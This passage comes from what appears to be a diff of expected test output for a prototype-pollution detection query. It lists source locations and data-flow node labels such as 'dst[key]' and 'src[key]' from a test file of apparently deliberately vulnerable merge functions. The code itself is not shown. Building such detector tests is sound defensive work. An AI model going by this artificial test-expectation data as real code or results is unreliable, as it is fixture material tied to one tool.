| key | -| PrototypePollutionUtility/tests.js:224:23:224:25 | key | -| PrototypePollutionUtility/tests.js:224:33:224:41 | data[key] | -| PrototypePollutionUtility/tests.js:224:33:224:41 | data[key] | -| PrototypePollutionUtility/tests.js:224:33:224:41 | data[key] | -| PrototypePollutionUtility/tests.js:224:38:224:40 | key | -| PrototypePollutionUtility/tests.js:224:38:224:40 | key | -| PrototypePollutionUtility/tests.js:225:28:225:30 | key | -| PrototypePollutionUtility/tests.js:225:28:225:30 | key | -| PrototypePollutionUtility/tests.js:225:33:225:41 | data[key] | -| PrototypePollutionUtility/tests.js:225:33:225:41 | data[key] | -| PrototypePollutionUtility/tests.js:225:33:225:41 | data[key] | -| PrototypePollutionUtility/tests.js:225:38:225:40 | key | -| PrototypePollutionUtility/tests.js:225:38:225:40 | key | -| PrototypePollutionUtility/tests.js:229:26:229:29 | key1 | -| PrototypePollutionUtility/tests.js:229:26:229:29 | key1 | -| PrototypePollutionUtility/tests.js:229:32:229:35 | key2 | -| PrototypePollutionUtility/tests.js:229:32:229:35 | key2 | -| PrototypePollutionUtility/tests.js:229:38:229:42 | value | -| PrototypePollutionUtility/tests.js:229:38:229:42 | value | -| PrototypePollutionUtility/tests.js:233:5:233:13 | map[key1] | -| PrototypePollutionUtility/tests.js:233:5:233:13 | map[key1] | -| PrototypePollutionUtility/tests.js:233:5:233:13 | map[key1] | -| PrototypePollutionUtility/tests.js:233:9:233:12 | key1 | -| PrototypePollutionUtility/tests.js:233:9:233:12 | key1 | -| PrototypePollutionUtility/tests.js:233:15:233:18 | key2 | -| PrototypePollutionUtility/tests.js:233:15:233:18 | key2 | -| PrototypePollutionUtility/tests.js:233:15:233:18 | key2 | -| PrototypePollutionUtility/tests.js:233:23:233:27 | value | -| PrototypePollutionUtility/tests.js:233:23:233:27 | value | -| PrototypePollutionUtility/tests.js:233:23:233:27 | value | -| PrototypePollutionUtility/tests.js:238:14:238:16 | key | -| PrototypePollutionUtility/tests.js:238:14:238:16 | key | -| PrototypePollutionUtility/tests.js:238:14:238:16 | key | -| PrototypePollutionUtility/tests.js:239:24:239:26 | key | -| PrototypePollutionUtility/tests.js:239:24:239:26 | key | -| PrototypePollutionUtility/tests.js:239:34:239:42 | data[key] | -| PrototypePollutionUtility/tests.js:239:34:239:42 | data[key] | -| PrototypePollutionUtility/tests.js:239:34:239:42 | data[key] | -| PrototypePollutionUtility/tests.js:239:39:239:41 | key | -| PrototypePollutionUtility/tests.js:239:39:239:41 | key | -| PrototypePollutionUtility/tests.js:240:31:240:33 | key | -| PrototypePollutionUtility/tests.js:240:31:240:33 | key | -| PrototypePollutionUtility/tests.js:240:36:240:44 | data[key] | -| PrototypePollutionUtility/tests.js:240:36:240:44 | data[key] | -| PrototypePollutionUtility/tests.js:240:36:240:44 | data[key] | -| PrototypePollutionUtility/tests.js:240:41:240:43 | key | -| PrototypePollutionUtility/tests.js:240:41:240:43 | key | -| PrototypePollutionUtility/tests.js:263:27:263:29 | dst | -| PrototypePollutionUtility/tests.js:263:27:263:29 | dst | -| PrototypePollutionUtility/tests.js:265:13:265:26 | key | -| PrototypePollutionUtility/tests.js:265:13:265:26 | key | -| PrototypePollutionUtility/tests.js:265:19:265:26 | entry[0] | -| PrototypePollutionUtility/tests.js:265:19:265:26 | entry[0] | -| PrototypePollutionUtility/tests.js:265:19:265:26 | entry[0] | -| PrototypePollutionUtility/tests.js:266:13:266:28 | value | -| PrototypePollutionUtility/tests.js:266:13:266:28 | value | -| PrototypePollutionUtility/tests.js:266:21:266:28 | entry[1] | -| PrototypePollutionUtility/tests.js:266:21:266:28 | entry[1] | -| PrototypePollutionUtility/tests.js:266:21:266:28 | entry[1] | -| PrototypePollutionUtility/tests.js:268:30:268:32 | dst | -| PrototypePollutionUtility/tests.js:268:30:268:32 | dst | -| PrototypePollutionUtility/tests.js:268:30:268:37 | dst[key] | -| PrototypePollutionUtility/tests.js:268:30:268:37 | dst[key] | -| PrototypePollutionUtility/tests.js:268:30:268:37 | dst[key] | -| PrototypePollutionUtility/tests.js:268:30:268:37 | dst[key] | -| PrototypePollutionUtility/tests.js:268:34:268:36 | key | -| PrototypePollutionUtility/tests.js:268:34:268:36 | key | -| PrototypePollutionUtility/tests.js:270:13:270:15 | dst | -| PrototypePollutionUtility/tests.js:270:13:270:15 | dst | -| PrototypePollutionUtility/tests.js:270:13:270:15 | dst | -| PrototypePollutionUtility/tests.js:270:17:270:19 | key | -| PrototypePollutionUtility/tests.js:270:17:270:19 | key | -| PrototypePollutionUtility/tests.js:270:17:270:19 | key | -| PrototypePollutionUtility/tests.js:270:24:270:28 | value | -| PrototypePollutionUtility/tests.js:270:24:270:28 | value | -| PrototypePollutionUtility/tests.js:270:24:270:28 | value | -| PrototypePollutionUtility/tests.js:275:27:275:29 | dst | -| PrototypePollutionUtility/tests.js:275:27:275:29 | dst | -| PrototypePollutionUtility/tests.js:275:32:275:34 | src | -| PrototypePollutionUtility/tests.js:275:32:275:34 | src | -| PrototypePollutionUtility/tests.js:276:34:276:36 | key | -| PrototypePollutionUtility/tests.js:276:34:276:36 | key | -| PrototypePollutionUtility/tests.js:276:34:276:36 | key | -| PrototypePollutionUtility/tests.js:278:30:278:32 | dst | -| PrototypePollutionUtility/tests.js:278:30:278:32 | dst | -| PrototypePollutionUtility/tests.js:278:30:278:37 | dst[key] | -| PrototypePollutionUtility/tests.js:278:30:278:37 | dst[key] | -| PrototypePollutionUtility/tests.js:278:30:278:37 | dst[key] | -| PrototypePollutionUtility/tests.js:278:30:278:37 | dst[key] | -| PrototypePollutionUtility/tests.js:278:34:278:36 | key | -| PrototypePollutionUtility/tests.js:278:34:278:36 | key | -| PrototypePollutionUtility/tests.js:278:40:278:42 | src | -| PrototypePollutionUtility/tests.js:278:40:278:42 | src | -| PrototypePollutionUtility/tests.js:278:40:278:47 | src[key] | -| PrototypePollutionUtility/tests.js:278:40:278:47 | src[key] | -| PrototypePollutionUtility/tests.js:278:40:278:47 | src[key] | -| PrototypePollutionUtility/tests.js:278:40:278:47 | src[key] | -| PrototypePollutionUtility/tests.js:278:40:278:47 | src[key] | -| PrototypePollutionUtility/tests.js:278:44:278:46 | key | -| PrototypePollutionUtility/tests.js:278:44:278:46 | key | -| PrototypePollutionUtility/tests.js:280:13:280:15 | dst | -| PrototypePollutionUtility/tests.js:280:13:280:15 | dst | -| PrototypePollutionUtility/tests.js:280:13:280:15 | dst | -| PrototypePollutionUtility/tests.js:280:17:280:19 | key | -| PrototypePollutionUtility/tests.js:280:17:280:19 | key | -| PrototypePollutionUtility/tests.js:280:17:280:19 | key | -| PrototypePollutionUtility/tests.js:280:24:280:26 | src | -| PrototypePollutionUtility/tests.js:280:24:280:26 | src | -| PrototypePollutionUtility/tests.js:280:24:280:31 | src[key] | -| PrototypePollutionUtility/tests.js:280:24:280:31 | src[key] | -| PrototypePollutionUtility/tests.js:280:24:280:31 | src[key] | -| PrototypePollutionUtility/tests.js:280:24:280:31 | src[key] | -| PrototypePollutionUtility/tests.js:280:24:280:31 | src[key] | -| PrototypePollutionUtility/tests.js:280:24:280:31 | src[key] | -| PrototypePollutionUtility/tests.js:280:28:280:30 | key | -| PrototypePollutionUtility/tests.js:280:28:280:30 | key | -| PrototypePollutionUtility/tests.js:301:27:301:29 | dst | -| PrototypePollutionUtility/tests.js:301:27:301:29 | dst | -| PrototypePollutionUtility/tests.js:301:32:301:34 | src | -| PrototypePollutionUtility/tests.js:302:14:302:16 | key | -| PrototypePollutionUtility/tests.js:302:14:302:16 | key | -| PrototypePollutionUtility/tests.js:302:14:302:16 | key | -| PrototypePollutionUtility/tests.js:304:17:304:32 | value | -| PrototypePollutionUtility/tests.js:304:17:304:32 | value | -| PrototypePollutionUtility/tests.js:304:17:304:32 | value | -| PrototypePollutionUtility/tests.js:304:25:304:27 | src | -| PrototypePollutionUtility/tests.js:304:25:304:32 | src[key] | -| PrototypePollutionUtility/tests.js:304:25:304:32 | src[key] | -| PrototypePollutionUtility/tests.js:304:25:304:32 | src[key] | -| PrototypePollutionUtility/tests.js:304:25:304:32 | src[key] | -| PrototypePollutionUtility/tests.js:304:29:304:31 | key | -| PrototypePollutionUtility/tests.js:304:29:304:31 | key | -| PrototypePollutionUtility/tests.js:306:34:306:36 | dst | -| PrototypePollutionUtility/tests.js:306:34:306:36 | dst | -| PrototypePollutionUtility/tests.js:306:34:306:41 | dst[key] | -| PrototypePollutionUtility/tests.js:306:34:306:41 | dst[key] | -| PrototypePollutionUtility/tests.js:306:34:306:41 | dst[key] | -| PrototypePollutionUtility/tests.js:306:34:306:41 | dst[key] | -| PrototypePollutionUtility/tests.js:306:38:306:40 | key | -| PrototypePollutionUtility/tests.js:306:38:306:40 | key | -| PrototypePollutionUtility/tests.js:306:44:306:48 | value | -| PrototypePollutionUtility/tests.js:306:44:306:48 | value | -| PrototypePollutionUtility/tests.js:308:17:308:19 | dst | -| PrototypePollutionUtility/tests.js:308:17:308:19 | dst | -| PrototypePollutionUtility/tests.js:308:17:308:19 | dst | -| PrototypePollutionUtility/tests.js:308:21:308:23 | key | -| PrototypePollutionUtility/tests.js:308:21:308:23 | key | -| PrototypePollutionUtility/tests.js:308:21:308:23 | key | -| PrototypePollutionUtility/tests.js:308:28:308:32 | value | -| PrototypePollutionUtility/tests.js:308:28:308:32 | value | -| PrototypePollutionUtility/tests.js:308:28:308:32 | value | -| PrototypePollutionUtility/tests.js:308:28:308:32 | value | -| PrototypePollutionUtility/tests.js:314:31:314:33 | dst | -| PrototypePollutionUtility/tests.js:314:31:314:33 | dst | -| PrototypePollutionUtility/tests.js:314:36:314:38 | src | -| PrototypePollutionUtility/tests.js:315:14:315:16 | key | -| PrototypePollutionUtility/tests.js:315:14:315:16 | key | -| PrototypePollutionUtility/tests.js:315:14:315:16 | key | -| PrototypePollutionUtility/tests.js:318:17:318:32 | value | -| PrototypePollutionUtility/tests.js:318:17:318:32 | value | -| PrototypePollutionUtility/tests.js:318:17:318:32 | value | -| PrototypePollutionUtility/tests.js:318:25:318:27 | src | -| PrototypePollutionUtility/tests.js:318:25:318:32 | src[key] | -| PrototypePollutionUtility/tests.js:318:25:318:32 | src[key] | -| PrototypePollutionUtility/tests.js:318:25:318:32 | src[key] | -| PrototypePollutionUtility/tests.js:318:25:318:32 | src[key] | -| PrototypePollutionUtility/tests.js:318:29:318:31 | key | -| PrototypePollutionUtility/tests.js:318:29:318:31 | key | -| PrototypePollutionUtility/tests.js:320:38:320:40 | dst | -| PrototypePollutionUtility/tests.js:320:38:320:40 | dst | -| PrototypePollutionUtility/tests.js:320:38:320:45 | dst[key] | -| PrototypePollutionUtility/tests.js:320:38:320:45 | dst[key] | -| PrototypePollutionUtility/tests.js:320:38:320:45 | dst[key] | -| PrototypePollutionUtility/tests.js:320:38:320:45 | dst[key] | -| PrototypePollutionUtility/tests.js:320:42:320:44 | key | -| PrototypePollutionUtility/tests.js:320:42:320:44 | key | -| PrototypePollutionUtility/tests.js:320:48:320:52 | value | -| PrototypePollutionUtility/tests.js:320:48:320:52 | value | -| PrototypePollutionUtility/tests.js:322:17:322:19 | dst | -| PrototypePollutionUtility/tests.js:322:17:322:19 | dst | -| PrototypePollutionUtility/tests.js:322:17:322:19 | dst | -| PrototypePollutionUtility/tests.js:322:21:322:23 | key | -| PrototypePollutionUtility/tests.js:322:21:322:23 | key | -| PrototypePollutionUtility/tests.js:322:21:322:23 | key | -| PrototypePollutionUtility/tests.js:322:28:322:32 | value | -| PrototypePollutionUtility/tests.js:322:28:322:32 | value | -| PrototypePollutionUtility/tests.js:322:28:322:32 | value | -| PrototypePollutionUtility/tests.js:322:28:322:32 | value | -| PrototypePollutionUtility/tests.js:328:30:328:32 | src | -| PrototypePollutionUtility/tests.js:328:30:328:32 | src | -| PrototypePollutionUtility/tests.js:336:42:336:44 | src | -| PrototypePollutionUtility/tests.js:336:42:336:44 | src | -| PrototypePollutionUtility/tests.js:336:42:336:49 | src[key] | -| PrototypePollutionUtility/tests.js:336:42:336:49 | src[key] | -| PrototypePollutionUtility/tests.js:336:42:336:49 | src[key] | -| PrototypePollutionUtility/tests.js:336:42:336:49 | src[key] | -| PrototypePollutionUtility/tests.js:336:42:336:49 | src[key] | -| PrototypePollutionUtility/tests.js:338:28:338:30 | src | -| PrototypePollutionUtility/tests.js:338:28:338:30 | src | -| PrototypePollutionUtility/tests.js:338:28:338:35 | src[key] | -| PrototypePollutionUtility/tests.js:338:28:338:35 | src[key] | -| PrototypePollutionUtility/tests.js:338:28:338:35 | src[key] | -| PrototypePollutionUtility/tests.js:338:28:338:35 | src[key] | -| PrototypePollutionUtility/tests.js:338:28:338:35 | src[key] | -| PrototypePollutionUtility/tests.js:338:28:338:35 | src[key] | -| PrototypePollutionUtility/tests.js:348:32:348:37 | target | -| PrototypePollutionUtility/tests.js:348:40:348:45 | source | -| PrototypePollutionUtility/tests.js:350:37:350:39 | key | -| PrototypePollutionUtility/tests.js:350:37:350:39 | key | -| PrototypePollutionUtility/tests.js:355:17:355:22 | target | -| PrototypePollutionUtility/tests.js:355:17:355:22 | target | -| PrototypePollutionUtility/tests.js:355:24:355:26 | key | -| PrototypePollutionUtility/tests.js:355:24:355:26 | key | -| PrototypePollutionUtility/tests.js:355:31:355:86 | mergePl ... ptions) | -| PrototypePollutionUtility/tests.js:355:31:355:86 | mergePl ... ptions) | -| PrototypePollutionUtility/tests.js:355:31:355:86 | mergePl ... ptions) | -| PrototypePollutionUtility/tests.js:355:53:355:58 | target | -| PrototypePollutionUtility/tests.js:355:53:355:63 | target[key] | -| PrototypePollutionUtility/tests.js:355:53:355:63 | target[key] | -| PrototypePollutionUtility/tests.js:355:60:355:62 | key | -| PrototypePollutionUtility/tests.js:355:66:355:71 | source | -| PrototypePollutionUtility/tests.js:355:66:355:76 | source[key] | -| PrototypePollutionUtility/tests.js:355:66:355:76 | source[key] | -| PrototypePollutionUtility/tests.js:355:66:355:76 | source[key] | -| PrototypePollutionUtility/tests.js:357:17:357:22 | target | -| PrototypePollutionUtility/tests.js:357:17:357:22 | target | -| PrototypePollutionUtility/tests.js:357:24:357:26 | key | -| PrototypePollutionUtility/tests.js:357:24:357:26 | key | -| PrototypePollutionUtility/tests.js:357:31:357:36 | source | -| PrototypePollutionUtility/tests.js:357:31:357:41 | source[key] | -| PrototypePollutionUtility/tests.js:357:31:357:41 | source[key] | -| PrototypePollutionUtility/tests.js:357:31:357:41 | source[key] | -| PrototypePollutionUtility/tests.js:357:31:357:41 | source[key] | -| PrototypePollutionUtility/tests.js:357:31:357:41 | source[key] | -| PrototypePollutionUtility/tests.js:357:38:357:40 | key | -| PrototypePollutionUtility/tests.js:364:49:364:54 | source | -| PrototypePollutionUtility/tests.js:366:18:366:20 | key | -| PrototypePollutionUtility/tests.js:366:18:366:20 | key | -| PrototypePollutionUtility/tests.js:371:24:371:26 | key | -| PrototypePollutionUtility/tests.js:371:24:371:26 | key | -| PrototypePollutionUtility/tests.js:371:31:371:95 | mergePl ... ptions) | -| PrototypePollutionUtility/tests.js:371:31:371:95 | mergePl ... ptions) | -| PrototypePollutionUtility/tests.js:371:62:371:72 | target[key] | -| PrototypePollutionUtility/tests.js:371:69:371:71 | key | -| PrototypePollutionUtility/tests.js:371:75:371:80 | source | -| PrototypePollutionUtility/tests.js:371:75:371:85 | source[key] | -| PrototypePollutionUtility/tests.js:371:75:371:85 | source[key] | -| PrototypePollutionUtility/tests.js:371:75:371:85 | source[key] | -| PrototypePollutionUtility/tests.js:373:24:373:26 | key | -| PrototypePollutionUtility/tests.js:373:24:373:26 | key | -| PrototypePollutionUtility/tests.js:373:31:373:36 | source | -| PrototypePollutionUtility/tests.js:373:31:373:41 | source[key] | -| PrototypePollutionUtility/tests.js:373:31:373:41 | source[key] | -| PrototypePollutionUtility/tests.js:373:31:373:41 | source[key] | -| PrototypePollutionUtility/tests.js:373:31:373:41 | source[key] | -| PrototypePollutionUtility/tests.js:373:31:373:41 | source[key] | -| PrototypePollutionUtility/tests.js:373:38:373:40 | key | -| PrototypePollutionUtility/tests.js:381:14:381:16 | key | -| PrototypePollutionUtility/tests.js:381:14:381:16 | key | -| PrototypePollutionUtility/tests.js:381:14:381:16 | key | -| PrototypePollutionUtility/tests.js:383:22:383:24 | key | -| PrototypePollutionUtility/tests.js:383:22:383:24 | key | -| PrototypePollutionUtility/tests.js:383:27:383:34 | obj[key] | -| PrototypePollutionUtility/tests.js:383:27:383:34 | obj[key] | -| PrototypePollutionUtility/tests.js:383:27:383:34 | obj[key] | -| PrototypePollutionUtility/tests.js:383:31:383:33 | key | -| PrototypePollutionUtility/tests.js:383:31:383:33 | key | -| PrototypePollutionUtility/tests.js:388:29:388:31 | dst | -| PrototypePollutionUtility/tests.js:388:29:388:31 | dst | -| PrototypePollutionUtility/tests.js:388:34:388:36 | src | -| PrototypePollutionUtility/tests.js:388:34:388:36 | src | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | -| PrototypePollutionUtility/tests.js:389:22:389:24 | key | -| PrototypePollutionUtility/tests.js:391:32:391:34 | dst | -| PrototypePollutionUtility/tests.js:391:32:391:34 | dst | -| PrototypePollutionUtility/tests.js:391:32:391:39 | dst[key] | -| PrototypePollutionUtility/tests.js:391:32:391:39 | dst[key] | -| PrototypePollutionUtility/tests.js:391:36:391:38 | key | -| PrototypePollutionUtility/tests.js:391:36:391:38 | key | -| PrototypePollutionUtility/tests.js:391:42:391:44 | src | -| PrototypePollutionUtility/tests.js:391:42:391:44 | src | -| PrototypePollutionUtility/tests.js:391:42:391:49 | src[key] | -| PrototypePollutionUtility/tests.js:391:42:391:49 | src[key] | -| PrototypePollutionUtility/tests.js:391:46:391:48 | key | -| PrototypePollutionUtility/tests.js:391:46:391:48 | key | -| PrototypePollutionUtility/tests.js:393:13:393:15 | dst | -| PrototypePollutionUtility/tests.js:393:13:393:15 | dst | -| PrototypePollutionUtility/tests.js:393:13:393:15 | dst | -| PrototypePollutionUtility/tests.js:393:17:393:19 | key | -| PrototypePollutionUtility/tests.js:393:17:393:19 | key | -| PrototypePollutionUtility/tests.js:393:17:393:19 | key | -| PrototypePollutionUtility/tests.js:393:24:393:26 | src | -| PrototypePollutionUtility/tests.js:393:24:393:26 | src | -| PrototypePollutionUtility/tests.js:393:24:393:31 | src[key] | -| PrototypePollutionUtility/tests.js:393:24:393:31 | src[key] | -| PrototypePollutionUtility/tests.js:393:24:393:31 | src[key] | -| PrototypePollutionUtility/tests.js:393:28:393:30 | key | -| PrototypePollutionUtility/tests.js:393:28:393:30 | key | -| PrototypePollutionUtility/tests.js:398:30:398:32 | dst | -| PrototypePollutionUtility/tests.js:398:30:398:32 | dst | -| PrototypePollutionUtility/tests.js:398:35:398:37 | src | -| PrototypePollutionUtility/tests.js:398:35:398:37 | src | -| PrototypePollutionUtility/tests.js:399:17:399:19 | src | -| PrototypePollutionUtility/tests.js:399:17:399:19 | src | -| PrototypePollutionUtility/tests.js:399:23:399:25 | key | -| PrototypePollutionUtility/tests.js:399:23:399:25 | key | -| PrototypePollutionUtility/tests.js:399:28:399:32 | value | -| PrototypePollutionUtility/tests.js:399:28:399:32 | value | -| PrototypePollutionUtility/tests.js:401:33:401:35 | dst | -| PrototypePollutionUtility/tests.js:401:33:401:35 | dst | -| PrototypePollutionUtility/tests.js:401:33:401:40 | dst[key] | -| PrototypePollutionUtility/tests.js:401:33:401:40 | dst[key] | -| PrototypePollutionUtility/tests.js:401:37:401:39 | key | -| PrototypePollutionUtility/tests.js:401:37:401:39 | key | -| PrototypePollutionUtility/tests.js:401:43:401:47 | value | -| PrototypePollutionUtility/tests.js:401:43:401:47 | value | -| PrototypePollutionUtility/tests.js:403:13:403:15 | dst | -| PrototypePollutionUtility/tests.js:403:13:403:15 | dst | -| PrototypePollutionUtility/tests.js:403:13:403:15 | dst | -| PrototypePollutionUtility/tests.js:403:17:403:19 | key | -| PrototypePollutionUtility/tests.js:403:17:403:19 | key | -| PrototypePollutionUtility/tests.js:403:17:403:19 | key | -| PrototypePollutionUtility/tests.js:403:24:403:28 | value | -| PrototypePollutionUtility/tests.js:403:24:403:28 | value | -| PrototypePollutionUtility/tests.js:403:24:403:28 | value | -| PrototypePollutionUtility/tests.js:412:31:412:33 | dst | -| PrototypePollutionUtility/tests.js:412:31:412:33 | dst | -| PrototypePollutionUtility/tests.js:412:36:412:38 | src | -| PrototypePollutionUtility/tests.js:412:36:412:38 | src | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | -| PrototypePollutionUtility/tests.js:413:14:413:16 | key | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | -| PrototypePollutionUtility/tests.js:414:13:414:41 | value | -| PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | -| PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | -| PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | -| PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | -| PrototypePollutionUtility/tests.js:414:21:414:41 | wrapped ... c, key) | -| PrototypePollutionUtility/tests.js:414:33:414:35 | src | -| PrototypePollutionUtility/tests.js:414:33:414:35 | src | -| PrototypePollutionUtility/tests.js:414:38:414:40 | key | -| PrototypePollutionUtility/tests.js:414:38:414:40 | key | -| PrototypePollutionUtility/tests.js:415:13:415:42 | target | -| PrototypePollutionUtility/tests.js:415:13:415:42 | target | -| PrototypePollutionUtility/tests.js:415:13:415:42 | target | -| PrototypePollutionUtility/tests.js:415:13:415:42 | target | -| PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | -| PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | -| PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | -| PrototypePollutionUtility/tests.js:415:22:415:42 | wrapped ... t, key) | -| PrototypePollutionUtility/tests.js:415:34:415:36 | dst | -| PrototypePollutionUtility/tests.js:415:34:415:36 | dst | -| PrototypePollutionUtility/tests.js:415:39:415:41 | key | -| PrototypePollutionUtility/tests.js:415:39:415:41 | key | -| PrototypePollutionUtility/tests.js:417:34:417:39 | target | -| PrototypePollutionUtility/tests.js:417:34:417:39 | target | -| PrototypePollutionUtility/tests.js:417:34:417:39 | target | -| PrototypePollutionUtility/tests.js:417:34:417:39 | target | -| PrototypePollutionUtility/tests.js:417:42:417:46 | value | -| PrototypePollutionUtility/tests.js:417:42:417:46 | value | -| PrototypePollutionUtility/tests.js:417:42:417:46 | value | -| PrototypePollutionUtility/tests.js:417:42:417:46 | value | -| PrototypePollutionUtility/tests.js:419:13:419:15 | dst | -| PrototypePollutionUtility/tests.js:419:13:419:15 | dst | -| PrototypePollutionUtility/tests.js:419:13:419:15 | dst | -| PrototypePollutionUtility/tests.js:419:17:419:19 | key | -| PrototypePollutionUtility/tests.js:419:17:419:19 | key | -| PrototypePollutionUtility/tests.js:419:17:419:19 | key | -| PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:419:24:419:28 | value | -| PrototypePollutionUtility/tests.js:429:34:429:36 | dst | -| PrototypePollutionUtility/tests.js:429:39:429:41 | src | -| PrototypePollutionUtility/tests.js:429:39:429:41 | src | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | -| PrototypePollutionUtility/tests.js:430:14:430:16 | key | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | -| PrototypePollutionUtility/tests.js:431:13:431:44 | value | -| PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | -| PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | -| PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | -| PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | -| PrototypePollutionUtility/tests.js:431:21:431:44 | almostS ... c, key) | -| PrototypePollutionUtility/tests.js:431:36:431:38 | src | -| PrototypePollutionUtility/tests.js:431:36:431:38 | src | -| PrototypePollutionUtility/tests.js:431:41:431:43 | key | -| PrototypePollutionUtility/tests.js:432:13:432:45 | target | -| PrototypePollutionUtility/tests.js:432:13:432:45 | target | -| PrototypePollutionUtility/tests.js:432:22:432:45 | almostS ... t, key) | -| PrototypePollutionUtility/tests.js:432:22:432:45 | almostS ... t, key) | -| PrototypePollutionUtility/tests.js:432:37:432:39 | dst | -| PrototypePollutionUtility/tests.js:432:42:432:44 | key | -| PrototypePollutionUtility/tests.js:434:37:434:42 | target | -| PrototypePollutionUtility/tests.js:434:37:434:42 | target | -| PrototypePollutionUtility/tests.js:434:45:434:49 | value | -| PrototypePollutionUtility/tests.js:434:45:434:49 | value | -| PrototypePollutionUtility/tests.js:434:45:434:49 | value | -| PrototypePollutionUtility/tests.js:434:45:434:49 | value | -| PrototypePollutionUtility/tests.js:436:13:436:15 | dst | -| PrototypePollutionUtility/tests.js:436:13:436:15 | dst | -| PrototypePollutionUtility/tests.js:436:17:436:19 | key | -| PrototypePollutionUtility/tests.js:436:17:436:19 | key | -| PrototypePollutionUtility/tests.js:436:17:436:19 | key | -| PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:436:24:436:28 | value | -| PrototypePollutionUtility/tests.js:446:33:446:35 | src | -| PrototypePollutionUtility/tests.js:446:33:446:35 | src | -| PrototypePollutionUtility/tests.js:447:14:447:16 | key | -| PrototypePollutionUtility/tests.js:447:14:447:16 | key | -| PrototypePollutionUtility/tests.js:447:14:447:16 | key | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | -| PrototypePollutionUtility/tests.js:448:13:448:38 | value | -| PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | -| PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | -| PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | -| PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | -| PrototypePollutionUtility/tests.js:448:21:448:38 | safeRead(src, key) | -| PrototypePollutionUtility/tests.js:448:30:448:32 | src | -| PrototypePollutionUtility/tests.js:448:30:448:32 | src | -| PrototypePollutionUtility/tests.js:451:39:451:43 | value | -| PrototypePollutionUtility/tests.js:451:39:451:43 | value | -| PrototypePollutionUtility/tests.js:451:39:451:43 | value | -| PrototypePollutionUtility/tests.js:451:39:451:43 | value | -| PrototypePollutionUtility/tests.js:453:17:453:19 | key | -| PrototypePollutionUtility/tests.js:453:17:453:19 | key | -| PrototypePollutionUtility/tests.js:453:17:453:19 | key | -| PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:453:24:453:28 | value | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | -| PrototypePollutionUtility/tests.js:458:26:458:28 | dst | -| PrototypePollutionUtility/tests.js:458:31:458:33 | src | -| PrototypePollutionUtility/tests.js:458:31:458:33 | src | -| PrototypePollutionUtility/tests.js:460:18:460:22 | value | -| PrototypePollutionUtility/tests.js:460:18:460:22 | value | -| PrototypePollutionUtility/tests.js:460:18:460:22 | value | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | -| PrototypePollutionUtility/tests.js:460:25:460:27 | key | -| PrototypePollutionUtility/tests.js:462:29:462:31 | dst | -| PrototypePollutionUtility/tests.js:462:29:462:31 | dst | -| PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | -| PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | -| PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | -| PrototypePollutionUtility/tests.js:462:29:462:36 | dst[key] | -| PrototypePollutionUtility/tests.js:462:33:462:35 | key | -| PrototypePollutionUtility/tests.js:462:33:462:35 | key | -| PrototypePollutionUtility/tests.js:462:39:462:41 | src | -| PrototypePollutionUtility/tests.js:462:39:462:41 | src | -| PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | -| PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | -| PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | -| PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | -| PrototypePollutionUtility/tests.js:462:39:462:46 | src[key] | -| PrototypePollutionUtility/tests.js:462:43:462:45 | key | -| PrototypePollutionUtility/tests.js:462:43:462:45 | key | -| PrototypePollutionUtility/tests.js:465:30:465:32 | dst | -| PrototypePollutionUtility/tests.js:465:30:465:32 | dst | -| PrototypePollutionUtility/tests.js:465:30:465:32 | dst | -| PrototypePollutionUtility/tests.js:465:34:465:36 | key | -| PrototypePollutionUtility/tests.js:465:34:465:36 | key | -| PrototypePollutionUtility/tests.js:465:34:465:36 | key | -| PrototypePollutionUtility/tests.js:465:41:465:43 | src 